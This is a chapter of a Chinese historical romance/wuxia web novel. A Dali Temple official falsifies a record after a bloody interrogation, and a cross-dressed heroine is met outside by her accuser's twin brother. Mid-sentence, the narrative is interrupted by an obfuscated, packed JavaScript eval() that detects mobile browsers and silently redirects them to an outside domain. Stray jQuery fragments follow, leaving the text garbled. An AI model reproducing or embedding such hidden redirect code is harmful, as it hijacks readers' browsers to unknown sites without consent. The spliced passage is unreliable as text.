不一会儿,崔十八步伐匆匆从外面回来,一脸严肃,低着头也不说话,显然是把人跟丢了。
“大人,属下无能……”
“你确实无能。”
崔恪这话并非斥责,只是听起来颇不给人面子。
如果这的是天枢阁的人,崔十八就算是使尽浑身解数,丢了性命,也不是这群人的对手。
“属下跟在大人身边十年,大人您怎么一点面子也不给啊。”
崔十八嘴里嘀咕。
“我已经让十九回来了,以后你替他监视岭南官员。”
崔十八一愣,他想不明白只是没追上刺客,为何大人要将他贬去岭南,虽说还是在大理寺任职,可任职的地方不一样了。
岭南和长安,差的不是一星半点。
“大……”
他还想继续说什么,但心里清楚自家大人是什么脾气,大人下定决心的事情,没人能改变。
崔恪微微喘息着,胸膛起伏。
他缓缓垂下握着鞭子的手,粘稠的、温热的血液顺着鞭身流下,染红了他的手指,滴落在地。
他低头,看着自己沾满鲜血的手,看着地上那几具几乎不成人形的“东西”,眼神有一瞬间的茫然,随即又被更深的冰冷覆盖。
他什么也没说,转身,拖着那柄滴血的皮鞭,一步步走出牢房。
经过崔十八身边时,那股浓重的血腥气和肃杀之气,让崔十八不由自主地后退了半步。
“再多说一句,你便去房州。”
房州还不如岭南,岭南好歹有崔家人在。
“属下领命。”
崔十八不甘心离开长安,但是想破脑袋也想不明白,自家大人为何要让十九代替他的工作。
明明他的武功在十九之上。
崔恪走到廊道中,停下。
他没有看任何人,只是从怀中掏出一方素白的手帕,慢条斯理地擦拭着手上沾染的血迹。
他的动作依旧优雅,却带着一种令人心悸的寒意。
擦干净手,他将染血的手帕随意丢弃在地。
他缓缓抬起眼,望向季琢玉消失的方向,那深潭般的眼眸深处,翻涌着无人能懂的、混杂着痛楚、暴戾与一丝后怕的复杂情绪。
“收拾干净。”
他开口,声音恢复了平日的冷冽,却带着一丝不易察觉的沙哑,“记档:西突厥重犯,抗拒审讯,意图袭官,被当场格杀。”
说完,他不再停留,迈开步子,朝着季琢玉离开的方向,一步步走去,只留下身后一地的血腥和崔十八满心的惊涛骇浪。
伪造案卷,他跟在大人身边这么久,这是从未有过的事情。
为何不将刺客的事情禀报朝廷?
崔十八照大人的意思处理了尸体,他知道,大人这么做必然有自己的打算。
那柄沾满双份仇恨的牛皮鞭,静静地躺在地上,鞭梢的血珠,还在缓缓滴落。
长安城的雨,下得黏稠又冰冷,毫无征兆,像是天上有人撕碎了浸透陈年血渍的棉絮,没完没了地往下抖落。
雨水砸在大理寺高耸的朱漆大门上,溅起细碎的雾。
又顺着门板上狰狞的狴犴兽首浮雕流淌下来,在门前光洁如镜的青石板上汇成一道道蜿蜒的暗红溪流,最终没入阴沟。
两尊石獬豸蹲踞门侧,雨水在它们冰冷的独角上摔得粉碎,空气里弥漫着浓重的土腥味和石兽身上渗出的、若有若无的铁锈气息。
离那象征着帝国最高刑狱威严的大门不远处,一座毗邻官署的屋顶,成了最好的瞭望台。
湿透的琉璃瓦吸饱了水,乌沉沉地反射不出半点天光,滑得能溜冰。
两道身影,一高一低,紧贴着最高处屋脊的阴影里,如同两只被雨水打湿了羽毛、却依旧死死盯着猎物的鹞鹰。
秦姨整个人伏在冰冷的瓦片上,身体绷得像一张拉满的硬弓。
她身上那件常年在西市胡饼摊烟熏火燎的靛蓝粗布衣,此刻被雨水浸透,紧裹着依旧利落精悍的身形,勾勒出紧绷的肩背线条。
雨水顺着她灰白散乱的鬓角往下淌,滑过眼角深刻的纹路。
她却连眼睫都不曾眨动一下,目光如同淬了火的锥子,穿透迷蒙的雨帘,死死钉在大理寺那扇紧闭的、仿佛能吞噬一切的朱红大门上。
搁在瓦片上的那只手,五指微张,指关节因过度用力而泛出青白色,指尖下,一片无辜的青瓦“喀”地一声轻响,被她生生捏碎了一角,细小的碎屑混入雨水。
她的腰间挂着两把刀,看起来有些年头了,刀身锃亮,刀柄上的穗子洗的褪色。
旁边,花大叔蹲踞的姿态随意,甚至带着点他惯有的、摆弄胭脂水粉时的讲究。
轻薄的宝蓝锦袍下摆被雨水溅湿了一大片,深色的水痕晕染开来。
不离身的描金油纸花伞斜斜倚在肩头,伞面上精致的折枝海棠在灰暗天光下显得格外靡艳而突兀。
他翘着尾指,用一方素白得刺眼的丝帕,小心翼翼地按了按被雨水打湿的额角鬓发,动作轻柔得仿佛在擦拭一件名贵的瓷器。
一双总是带着三分慵懒笑意的狭长凤眼,此刻锐利如刀,焦灼与一种近乎野兽护崽般的狠戾在眼底翻滚,同样一瞬不瞬地锁着下方。
他简直称得上是笑面虎,娇柔如女人的作派跟他眼里的阴森狠厉形成强烈的对比。
“姓崔的若敢动玉儿一根指头……”秦姨的声音从紧咬的牙关里挤出来,被沙沙的雨声裹挟着,每个字都像淬了冰的钉子,狠狠钉进潮湿的空气里,“老娘拆了他大理寺的脊梁!”
花大叔没说话,只是搭在伞柄中段那滑润竹骨上的手指,极其细微地蜷缩了一下。伞柄内部,某种极其精密的机括发出了一声比蚊蚋振翅还要轻微的“嗒”声,仿佛毒蛇在暗处缓缓昂起了头颅。
就在这时,那扇紧闭的、仿佛千年不开的朱红大门,竟毫无征兆地被人从里面猛地推开!
沉重的门轴发出令人牙酸的呻吟,打破了雨幕下令人窒息的死寂。
门洞内深沉的黑暗被撕开一道口子。
一个纤瘦却挺得笔直的身影,踉跄着从那象征死亡与律法的黑暗门洞里倒退而出。
她身上便于行动的男式靛青紧身袍服有几处明显的撕裂口子,肩膀处洇开一片深色的湿痕,不知是雨水还是别的什么。
“是玉儿!”屋顶的秦姨看她的样子担忧不已,惊呼一声,作势就要飞身一跃从上面下来。
花大叔拽住她,“诶,不是说好玉儿安然无恙,你就不露面吗,你这个样子,打算怎么跟她解释?”
秦姨这才想起挂在腰间的双刀,她单手按在刀柄上,皱着眉头,似不情愿的模样。
玉儿不知道她会武功的事情,她也从未在玉儿面前
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763025|174467||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
展露过深厚的内力,她现在就是一个卖胡饼的妇人,应该连拿起双刀的力气都没有。
季琢玉脸色苍白如纸,唇上却带着一丝倔强的、被咬破的血痕,雨水冲刷着她脸颊的污泥和散落的发丝,狼狈不堪。
那双总是清澈明亮的眼睛,此刻却燃烧着一种近乎疯狂的火焰,死死盯着门洞深处,像是要从那片黑暗中瞪出一个人来。
她倒退着,脚跟重重磕在冰冷的石阶边缘,身体晃了晃才勉强站稳。
几乎就在她站稳的瞬间,一只手忽然伸过来,攥住她的手臂将她搀扶住。
“当心些。”
耳边的男声维持着一种陌生的温和,还带着几分低哑。
季琢玉站稳脚步,崔十九并未立刻松开,力道收得极有分寸,既让她无法轻易挣脱,又不至于弄疼她。
一缕清甜的石榴花香萦绕在鼻端,与周遭浑浊的空气格格不入。
他看着季琢玉强作镇定的眼睛深处那一闪而过的惊惶,像受惊林鹿湿漉漉的眼眸。
目光无意间扫过她微微敞开的领口,粗糙麻布的边缘痕迹清晰可见,他迅速挪开视线,耳朵涨红,像是看到了什么不该看的东西。
隔着粗糙的青布,季琢玉能清晰感觉到那臂骨纤细得惊人,甚至带着一丝不易察觉的轻颤。
来人头戴斗笠,暗青色的护卫劲装被雨水打湿,紧裹着贲张的肌肉。
季琢玉看清他的脸,忽然一把将他推开,力气之大,险些让自己摔在地上。
“装什么好人。”
崔十八刚才在狱中说的一字一句她都记得清楚,他说红绫不过是个丫鬟,死就死了。
这种人,竟然也配当大理寺的官差?
在他眼里,只有皇亲国戚才配好好活着吗,平民百姓的性命就不是命了吗?
崔十九似无奈轻摇一下头,又有人把他认作崔十八了。
兄长何时能待人和善些,他也能少受些白眼和冷嘲热讽。
她挣脱开男人的手,踉跄几步,一低头,才发现胸前的扣子竟然松开了,青布袍的领口被拉扯得微微敞开了一线,露出一小段粗糙麻布边缘的痕迹。
那不是汗巾,那形状,那紧束的走向,分明是裹胸布深深勒入皮肉留下的印痕。
她慌忙拉紧领口,将扣子重新扣好。
是什么时候松开的?被人都看见了吗?
“姑娘不必慌张,我方才转了身,并未看见什么。”崔十九声音不高,恰好就他们两人能听到。
“你,你叫我什么!?”季琢玉瞪圆眼睛凝视着他。
等等,这人说话的声音不对劲。
他不是崔十八!
可是这张脸,分明跟崔十八一摸一样,只是.......下巴上多了一颗小小的红痣。
崔十九沉默片刻,意识到自己刚才脱口而出的称呼让眼前的姑娘不高兴了。
他确实没敢看她松开的领口,他看到的是她的耳垂,两个细小无法磨灭的空洞,那是女孩子家佩戴耳坠的痕迹。
加之眼前的“少年”眉骨清秀,红唇灵眸,身形单薄,她长得太标致了,女扮男装难度极高。
“姑娘若是介意,我,我崔十九愿意负责。”
崔十九目光定定地看着眼前的少女,斗笠下一张俊脸,下颚线似乎紧张过度而紧绷着,拇指下意识地擦过腰间横刀粗糙的鲨鱼皮刀柄。